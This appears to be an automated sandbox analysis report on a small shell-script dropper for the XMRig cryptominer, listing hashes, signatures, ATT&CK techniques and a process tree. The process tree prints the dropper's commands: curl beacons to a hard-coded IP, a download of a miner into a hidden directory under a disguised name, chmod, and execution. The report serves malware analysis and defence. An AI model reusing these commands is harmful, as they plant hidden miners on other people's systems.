xmrig | 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01/10/2026, 12:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
s
Size 402B
Sample261001-pp6dlasw7r
SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
MD5 870fea7e93e2183e85ff04ee3c918393
SHA1 a386c4b90cdd08f91296426f559c52449ac15431
SHA512 978785d1190dca7ec3c747e339f0a3aba5de421fae9e8be7cf1f86ce9b4a0c8dd210ce0ff6546916787f353695ee88892c62ce1d84ff5469fc279a6eccd1be8b
TLSH
T16FE0ABEE6070C0773B485004DB8A1B365882DAAA1CF00631CA96E92D51C80993FC7211
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
763	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/.nsc/sysmond	774	sh

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/585/status	ps
File opened for reading	/proc/707/stat	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/284/cmdline	ps
File opened for reading	/proc/292/status	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/305/stat	ps
File opened for reading	/proc/29/cmdline	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/27/cmdline	ps
File opened for reading	/proc/157/status	ps
File opened for reading	/proc/304/stat	ps
File opened for reading	/proc/304/status	ps
File opened for reading	/proc/636/status	ps
File opened for reading	/proc/677/status	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/25/cmdline	ps
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/43/stat	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/43/cmdline	ps
File opened for reading	/proc/138/stat	ps
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/305/status	ps
File opened for reading	/proc/654/stat	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/640/cmdline	ps
File opened for reading	/proc/677/stat	ps
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/26/cmdline	ps
File opened for reading	/proc/301/status	ps
File opened for reading	/proc/4/cmdline	ps
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/42/status	ps
File opened for reading	/proc/74/status	ps
File opened for reading	/proc/284/status	ps
File opened for reading	/proc/580/cmdline	ps
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/302/cmdline	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/157/stat	ps
File opened for reading	/proc/302/status	ps
File opened for reading	/proc/710/status	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/28/cmdline	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/10/cmdline	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/106/status	ps

/tmp/s
/tmp/s
1⤵
PID:643
- /bin/hostname
  hostname
  2⤵
  PID:646
- /usr/bin/cut
  cut -c1-20
  2⤵
  PID:648
- /usr/bin/tr
  tr -cd A-Za-z0-9._-
  2⤵
  PID:647
- /usr/bin/curl
  curl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=debian9-armhf-202605"
  2⤵
  - Checks CPU configuration
  PID:651
- /bin/sh
  sh
  2⤵
  - Executes dropped EXE
  PID:677
- - /bin/hostname
    hostname
    3⤵
    PID:678
- - /bin/uname
    uname -s
    3⤵
    PID:679
- - /bin/uname
    uname -m
    3⤵
    PID:680
- - /sbin/sysctl
    sysctl -n kern.osrelease
    3⤵
    - Reads CPU attributes
    PID:681
- - /usr/bin/id
    id -u
    3⤵
    PID:682
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-13&v=env_Linux_armv7l_osrel=_uid=0"
    3⤵
    - Checks CPU configuration
    PID:683
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:702
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    - Reads runtime system information
    PID:704
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:706
- - /bin/grep
    grep -c "[s]ysmond"
    3⤵
    PID:710
- - /bin/ps
    ps -ax
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:709
- - /bin/rm
    rm -f sysmond
    3⤵
    PID:715
- - /usr/bin/curl
    curl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw
    3⤵
    - Checks CPU configuration
    PID:717
- - /usr/bin/tr
    tr -d " "
    3⤵
    PID:761
- - /usr/bin/wc
    wc -c
    3⤵
    PID:760
- - /bin/chmod
    chmod 755 sysmond
    3⤵
    - File and Directory Permissions Modification
    PID:763
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-13&v=dl_sz=3620152"
    3⤵
    - Checks CPU configuration
    PID:765
- - /bin/sed
    sed "s/[^a-zA-Z0-9._-]/_/g"
    3⤵
    - Reads runtime system information
    PID:776
- - /bin/sed
    sed -n 1p
    3⤵
    - Reads runtime system information
    PID:775
- - /var/tmp/.nsc/sysmond
    ./sysmond --version
    3⤵
    PID:774
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-13&v=ver=sh__38__._sysmond__Exec_format_error"
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:778
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-13&v=exe_fail_rc=0"
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:779
- /usr/bin/curl
  curl -sk -m 120 http://177.4.12.11:8080/nsp2.sh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysmond

Path /var/tmp/.nsc/sysmond
Size 3.5MB
SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
MD5 5eafa37cdf767f4a8f2c9801d57c45a1
SHA1 ee9f4f3cecd7d1949990cb46261bbabff20f142f
SHA512 86c557548aff44f07888852ef5c5ea7c31acffe538835490de43ecf426dd91ced71831bea336d55dc3a61e3a3f27ce460155ee420fabff7ab3aacc63afd70095
SSDEEP 49152:vNgMP3sOAFTzVv7bWRziCxCpn9ICnQtNK9zIhtc1+4nsG5RohMYb9F:ywCjbnCxCpPQtQIhtcc4n/oMYb9F
TLSH
T1AAF57C1AB261A47CD147C038579F55F2D6D8F0B5036A78FB1F87E6303A29CD25B28A36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads